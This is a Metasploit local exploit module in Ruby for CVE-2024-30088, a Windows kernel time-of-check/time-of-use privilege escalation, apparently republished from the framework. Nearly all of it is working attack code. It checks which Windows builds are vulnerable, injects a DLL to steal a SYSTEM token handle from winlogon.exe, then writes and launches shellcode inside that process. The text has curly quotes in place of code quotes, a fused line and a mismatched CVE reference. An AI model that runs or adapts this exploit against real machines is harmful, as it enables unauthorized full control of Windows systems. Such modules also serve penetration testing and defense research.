Microsoft Windows TOCTOU Local Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Post::Windows::Version
include Msf::Exploit::Retry
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes’,
‘Description’ => %q{
CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,
Windows 11 and Windows Server 2022.
The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when
the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the
kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute’s structure
directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and
`AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading
to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.
},
‘Author’ => [
‘tykawaii98’, # PoC (Bùi Quang Hiếu)
‘jheysel-r7’ # msf module
],
‘References’ => [
[ ‘URL’, ‘https://github.com/tykawaii98/CVE-2024-30088’],
[ ‘CVE’, ‘2024-30038’]],
‘License’ => MSF_LICENSE,
‘Platform’ => ‘win’,
‘Privileged’ => true,
‘SessionTypes’ => [ ‘meterpreter’ ],
‘Arch’ => [ ARCH_X64 ],
‘Targets’ => [
[ ‘Windows x64’, { ‘Arch’ => ARCH_X64 } ]],
‘DisclosureDate’ => ‘2024-06-11’,
‘Notes’ => {
‘Stability’ => [ CRASH_SAFE, ],
‘SideEffects’ => [ ARTIFACTS_ON_DISK, ],
‘Reliability’ => [UNRELIABLE_SESSION] # It should return a session on the first run although has the potential to fail.
}, # After the first run the original session will usually die if the module is rerun against the same session.
‘Compat’ => {
‘Meterpreter’ => {
‘Commands’ => %w[
stdapi_sys_process_get_processes
stdapi_railgun_api
stdapi_sys_process_memory_allocate
stdapi_sys_process_memory_protect
stdapi_sys_process_memory_read
stdapi_sys_process_memory_write
]}
}
)
)
end
def target_compatible?(version)
# NOTE: Win10_1607 = Server2016 and Win10_1809 = Server2019. Both Server and Desktop version are supposed to be affected.
return true if version.build_number.between?(Msf::WindowsVersion::Win10_1507, Rex::Version.new(‘10.0.10240.20680’)) ||
version.build_number.between?(Msf::WindowsVersion::Win10_1607, Rex::Version.new(‘10.0.14393.7070’)) ||
version.build_number.between?(Msf::WindowsVersion::Win10_1809, Rex::Version.new(‘10.0.17763.5936’)) ||
version.build_number.between?(Msf::WindowsVersion::Win10_21H2, Rex::Version.new(‘10.0.19044.4529’)) ||
version.build_number.between?(Msf::WindowsVersion::Win10_22H2, Rex::Version.new(‘10.0.19045.4529’)) ||
version.build_number.between?(Msf::WindowsVersion::Win11_21H2, Rex::Version.new(‘10.0.22000.3019’)) ||
version.build_number.between?(Msf::WindowsVersion::Win11_22H2, Rex::Version.new(‘10.0.22621.3737’)) ||
version.build_number.between?(Msf::WindowsVersion::Win11_23H2, Rex::Version.new(‘10.0.22631.3737’)) ||
version.build_number.between?(Msf::WindowsVersion::Server2022, Rex::Version.new(‘10.0.20348.2522’)) ||
version.build_number.between?(Msf::WindowsVersion::Server2022_23H2, Rex::Version.new(‘10.0.25398.950’))
false
end
def check
return Exploit::CheckCode::Safe(‘Non Windows systems are not affected’) unless session.platform == ‘windows’
version = get_version_info
return Exploit::CheckCode::Appears(“Version detected: #{version}”) if target_compatible?(version)
CheckCode::Safe(“Version detected: #{version}”)
end
def get_winlogon_pid
processes = client.sys.process.get_processes
winlogon_pid = nil
processes.each do |process|
if process[‘name’].downcase == ‘winlogon.exe’
winlogon_pid = process[‘pid’]break
end
end
winlogon_pid
end
def get_winlogon_handle
pid = session.sys.process.getpid
process_handle = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
address = process_handle.memory.allocate(8)
thread = execute_dll(
::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2024-30088’, ‘CVE-2024-30088.x64.dll’),
address,
pid
)
calls = [
[‘kernel32’, ‘WaitForSingleObject’, [ thread.handle, 20000 ] ],
[‘kernel32’, ‘GetExitCodeThread’, [ thread.handle, 4 ] ],
]
results = session.railgun.multi(calls)
winlogon_handle = nil
if results.last[‘lpExitCode’] == 0
print_good(‘The exploit was successful, reading SYSTEM token from memory…’)
current_memory = process_handle.memory.read(address, 8)
winlogon_handle = current_memory.unpack(‘Q<‘).first
end
session.railgun.kernel32.VirtualFree(address, 0, MEM_RELEASE)
winlogon_handle
end
def exploit
if is_system?
fail_with(Failure::None, ‘Session is already elevated’)
end
version = get_version_info
unless target_compatible?(version)
fail_with(Failure::NoTarget, “The exploit does not support this version of Windows: #{version}”)
end
winlogon_handle = get_winlogon_handle
fail_with(Failure::UnexpectedReply, ‘Unable to retrieve the winlogon handle’) unless winlogon_handle
print_good(“Successfully stole winlogon handle: #{winlogon_handle}”)
winlogon_pid = get_winlogon_pid
fail_with(Failure::UnexpectedReply, ‘Unable to retrieve the winlogon pid’) unless winlogon_pid
print_good(“Successfully retrieved winlogon pid: #{winlogon_pid}”)
host = session.sys.process.new(winlogon_pid, winlogon_handle)
shellcode = payload.encoded
shell_addr = host.memory.allocate(shellcode.length)
host.memory.protect(shell_addr)
if host.memory.write(shell_addr, shellcode) < shellcode.length
fail_with(Failure::UnexpectedReply, ‘Failed to write shellcode’)
end
vprint_status(“Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{winlogon_pid})”)
thread = host.thread.create(shell_addr, 0)
unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)
fail_with(Failure::UnexpectedReply, ‘Unable to create thread’)
end
end
end